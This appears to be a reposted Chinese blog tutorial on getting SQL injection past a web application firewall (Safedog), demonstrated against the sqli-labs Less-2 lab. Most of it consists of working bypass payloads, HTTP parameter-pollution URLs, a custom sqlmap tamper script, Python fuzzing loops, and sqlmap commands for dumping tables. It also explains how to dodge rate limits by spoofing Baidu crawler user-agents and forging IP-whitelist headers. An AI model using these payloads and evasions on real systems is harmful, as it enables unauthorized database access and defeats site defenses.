WAF绕过—SQL注入

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WAF绕过—SQL注入相关的知识,希望对你有一定的参考价值。

WAF绕过—SQL注入


对数据进行:大小写、加解密、编码解码等操作,使拦截失效
例如,以sqlilabs-less-2为例(假设安全狗已经设置了禁止查询数据库):
此时输入以下语句时,注入将会被拦截

id=-1 union select 1,database(),3#

首先我们大致分析一下为什么会被拦截?
安全狗拦截方式里采用了类似于正则表达式的编程,匹配到database()这个数据时,自动过滤。所以我们绕过只需要改变database()就行了:
下列语句中混插了“/**/”这样,安全狗就无法匹配到database了
最基础的的一个拦截原理:

id=-1 union select 1,database/**/(),3#

拦截2,如果安全狗开启了拦截SQL联合注入时

联合注入绕过


只要使用在url内包含union select 的关键字段,就会被拦截
如果我们把注入按照以下格式写,就能绕过:

union #a
select 1,2,3#            #号表示注释掉后面的内容

通过转换工具可知:%23为#号,%0a为换行符,所以,绕过的写法如下:

http://192.168.56.104/sqlilbas/Less-2/?id=-1%20union%20%23a%0aselect 1,2,3#

参数污染


当用户通过id=进行传递参数时,php/Apache服务器默认获取到的参数为Last,即最后一个值,例如当输入多个参数时:

http://192.168.56.104/sqlilbas/Less-2/?id=1&id=2

如果采用PHP/Apache,id最终传递进去的值为2(忽略掉了id=1)
针对这个特性,只要我们知道了目标网站的服务器,我们再进行参数污染注入:

http://192.168.56.104/sqlilbas/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/
http://192.168.56.104/sqlilbas/Less-2/?id=1%20/**&id=-1%20union%20select%201,version(),3--+*/

成功绕过:

原理:
因为安全狗能将这里这里的数据全部匹配(安全狗认为/**/中的内容是被注释的,不执行的),?id=1 /**&id=-1 union select 1,2,3#*/,但PHP/Apache服务器只匹配后面的值(id=-1 union select 1,2,3#*/)
所以真正执行的语句是:

select * from users where id=-1 union select 1,2,3#*/

sqlmap利用参数污染注入

我们自定一个sqlmap的temper名叫rdog.py,格式写法可以参照其他的tmper作模板,下面举例只写了两个payload,可以根据需要自己再多写几个

#%23a%0aunion/*!44575select*/1,2,3
        payload = payload.replace('union','%23a%0aunion')
        payload = payload.replace('select','/*!44575select*/')
        payload = payload.replace('%20','%23a%0a')
        payload = payload.replace('%20','%23a%0a')
        payload = payload.replace(' ','%23a%0a')
        payload = payload.replace('database()','database%23a%0a()')

我们这时候就可以拿脚本去跑
其中--tamper为设置某个py脚本,--proxy为设置http代理(方便burpsuite抓包分析,可以不写),--random-agent为绕过安全狗拦截sqlmap注入工具

python sqlmap.py -u "192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-agent

相关参数污染

/*!50001 select * from test */;

这里50001表示假如 数据库是5.00.01以上版本,该语句才会被执行
同时,这里可以和union select绕过配合起来,例如:

union all /*!50001 select * from test */;

(all也是一个干扰,防匹配)
这样就不是一个完整的union select,所以也有可能绕过安全狗

fuzz跑参数污染字典

import requests
import time

url='http://'
for sqlin in open('unionselect.txt'):
    urls=urls+sqlin
    result=requests.get(urls).text
    if(result.find('safedog')==-1):
        print(sqlin)
    time.sleep(1)

另一种思路(代码可能有误,仅作思路)

import requests
url='http://192.168.56.104/sqlilbas/Less-2/?id=-1'
a={'%23x%0aunion','.0union','%09union','%0aunion','%0bunion','%0cunion','%0dunion','%20union','%a0union'}
b='/*!'
c='select*/'
d='1,2,3'

for i in range(44500,44600):
    for aa in a:
        urls=url+aa+b+str(i)+c+d
        #fp=open('bypasstestsqlin.txt','a+')
        #fp.write(urls+'\\n')

        result=requests.get(urls).text
        print(result)
        if(result.find('safedog')==-1):
            print(urls)

补充:
/*!select * from tables limit 0,1*/;与select * from tables limit 0,1;等价

sqlmap访问过快被拦截

方法一:爬虫白名单

首先百度找一个搜索引擎爬虫http指纹头
例如百度爬虫:
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
然后修改sqlmap的user-agent相关教程
这里我们使用自定义user-agent

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)" --tables

方法二:延时注入

参数:
–delay
–safe-freq

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --delay 1
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --safe-freq 3

方法三:代理池

补充问题(自定义sqlmap访问过快被拦截的参数):

如果某waf工具检测的不止是user-agent,还检测了sqlmap不支持的头,例如检测的是Cache-Control部分的内容,该如何解决呢?

1.使用burpsuite的intruder,然后在positions页面修改成*号,添加一个变量,再到payloads里设置变量的字典,不断替换(这种办法需要替换每一个的数据包,相当麻烦,不推荐)

2.可以把post数据放到一个txt里(把需要检测的值修改好)。

再使用:-r参数

python sqlmap.py -r 3.txt --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables

3.自己写脚本进行中转,这篇文章最后有提到如何中转,相同的,中转中也可以写user-agent参数,相关文章:
https://www.cnblogs.com/keta/p/9469417.html
思路:sqlmap注入本地脚本地址——>本地搭建脚本(请求数据包自定义编写)——>远程地址

深入WAF绕过:

方式一:白名单绕过

1.通过IP白名单,伪造数据包中的header头来bypass waf
x-forwarded-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip

方式二:静态资源

特定的 资源后缀请求,txt文件写进去,常见的静态文件(.js.jpg.swf.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件后缀的请求

less-2/index.php/x.txt?id=1 and 1=1
less-2/index.php/x.js?id=1 and 1=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单


因为在某些文件中执行的操作可能会被误拦截,部分网站可能会添加此类白名单。可以针对这个文件尝试进行注入

方式四:爬虫白名单

如果对网站访问速度过快,则会被拦截
但是某些网站是采用爬虫进行运转的,例如百度。一般来说,各个网站都会把百度的爬虫放进白名单。
我们则可以使用head后中的User-Agent来伪造Baiduspider(百度爬虫)

以上是关于WAF绕过—SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

WAF绕过—SQL注入

手工sql注入&&绕过waf &&一个实例分析

SQL注入中的WAF绕过

记一次Fuzz绕WAF实现SQL 注入

XSS绕过WAF进行SQL注入

SQL注入 fuzz模糊测试 绕过WAF(安全狗) TODO,自己搭建环境测试